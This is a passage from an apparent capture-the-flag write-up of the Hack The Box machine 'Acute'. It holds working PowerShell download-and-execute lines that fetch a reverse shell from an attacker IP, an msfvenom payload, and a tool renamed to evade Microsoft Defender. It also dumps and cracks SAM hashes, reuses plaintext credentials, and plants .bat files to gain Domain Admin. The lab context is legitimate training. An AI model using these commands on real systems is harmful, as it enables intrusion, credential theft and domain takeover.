IEX(New-Object Net.WebClient).downloadString("http://10.10.16.4/rev.ps1")
- let it run, might take a bit
collinhacks <tun0> 9001
- remember,
collinhacks
replacesInvoke-ConPtyShell
so we can evade microsoft defender
- remember,
- Local:
Root
Utilizing HKLM\sam and HKLM\system
As a local admin on Acute-PC01 now, we can create a backup of the registry SAM hive. We want to extract the hashes of all users from
HKLM\
reg save HKLM\sam sam
reg save HKLM\system system
So these files are now going to be turned into
sam
andsystem
. Sadly I think the path of this box is to usemeterpreter
's session earlier to do:download sam
(sam
is the file, remember, same withsystem
)download system
- This will just bring it to our machine so we can crack it easier.
dumping the hive information
- Locally now we have
sam
andsystem
downloaded. We can usesecretsdump.py
which is a tool to dump the hashes of these HKLM files. secretsdump.py -system system -sam sam LOCAL
$ secretsdump.py -system system -sam sam LOCAL2
Impacket v0.10.1.dev1+20230728.114623.fb147c3f - Copyright 2022 Fortra
[*] Target system bootKey: 0x44397c32a634e3d8d8f64bff8c614af7
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a29f7623fd11550def0192de9246f46b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:24571eab88ac0e2dcef127b8e9ad4740:::
Natasha:1001:aad3b435b51404eeaad3b435b51404ee:29ab86c5c4d2aab957763e5c1720486d:::
[*] Cleaning up...
- We can now attempt to crack this baby lets go, this is
NTLM
but hashcat will figure that outcopy Admin → Natasha all 5 hashes into a file
hashcat local-SAM-hashes --wordlist /usr/share/wordlists/rockyou.txt
Password@123
And this is the admin hash it cracked
- Tried logging in to the Powershell Web Access portal with these credentials but it did not work. I’m assuming a different user is Administrator rather than the actual just username “Administrator”
net user
asedavies
local admin shows me this:
- So we try it as
imonks
now:$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks",$passwd)
Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { net users }
awallance
seems to be the Administrator. I tried it into the Web Powershell but it didn’t work.- Why not just do
$passwd
and$cred
but asawallace
's credentials? Should be fine$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("acute\awallace",$passwd)
Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { whoami }
- Nice, this is using the same functionality as
imonks
was using but we replaced the credentials withawallace
's credentials.
awallace
, so time to go to root
we are now - Couldn’t get a reverse shell, so manual enumeration it is.
- Going through my Windows Privilege Escalation, checking
C:\Program Files
had an interesting directory in itInvoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { ls "C:\Program Files" }
- Hyper-V and keepmeon get my attention.
- First I looked into
keepmeon
Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { cat "C:\Program Files\keepmeon\keepmeon.bat" }
- First I looked into
- This script is executing every 5 minutes and is searching for all
.bat
files in the current directory and subdirectories, and is executing all of those.bat
files except for the one for where the script is currently running. Thanks ChatGPT.
- To exploit this, we probably just make a
.bat
reverse shell in a subdirectory and then wait for 5 minutes for it to pop- Local:
msfvenom -p cmd/windows/reverse_powershell LHOST=10.10.16.4 LPORT=9004 > shell.bat
Target: Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { Set-Content -Path 'C:\Program Files\keepmeon\shell.bat' -value 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.4/shell.bat")' }
- Local:
- We can see in the screenshot there is my
shell.bat
inC:\Program Files\keepmeon\
so now we wait with a listener on9004
- it’s been more than 5 minutes fuck
reverse shell 2
nano shell2.bat
→powershell "IEX(New-Object Net.WebClient).downloadString("http://10.10.16.4/rev.ps1")"
- This will grab
rev.ps1
from my local machine which is just a reverse shell in powershell
- This will grab
Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { Set-Content -Path 'C:\Program Files\keepmeon\shell2.bat' -value 'powershell "IEX(New-Object Net.WebClient).downloadString(\"http://10.10.16.4/shell2.bat\")"' }
- Now ideally I should be able to wait 5 minutes for a shell to pop to
9001
locally- didnt work lets goo lets just live off the land i cant be fucked
instead of doing it to a reverse shell let’s just set awallace as a Domain Admin
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\thirdtimesacharm.bat' -Value 'net group site_admin awallace /add /domain'} -Credential $cred
- This will create a
thirdtimesacharm.bat
file that is executingnet group site_admin imonks /add /domain
- This will create a
- wait 5 minutes
Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { net group "Domain Admins" awallace /add /domain }
- Now since 5 minutes has passed,
awallace
has permission to add himself as a Domain Admin.
- Now since 5 minutes has passed,
Invoke-Command -ComputerName ATSServer -Credential $cred -ConfigurationName dc_manage -ScriptBlock { net group "Domain Admins" /domain }
- This will list the Domain Admins
We see
awallace
is now a Domain Admin. We should be able to read every file on the machine now, idek where user.txt is lol - it’s onimonks
desktop
Useful resource links
ConPtyShell for reverse shell on windows systems https://github.com/antonioCoco/ConPtyShell
Lessons Learned
C:\Utils
is like the linux equivalent of /tmp
Learned how to exploit sam
and system
hive backups
Learned how to use ConPtyShell
Learned how to pivot to processes with metasploit
Learned how to run commands as other users using Invoke-Command
while specifying their credentials,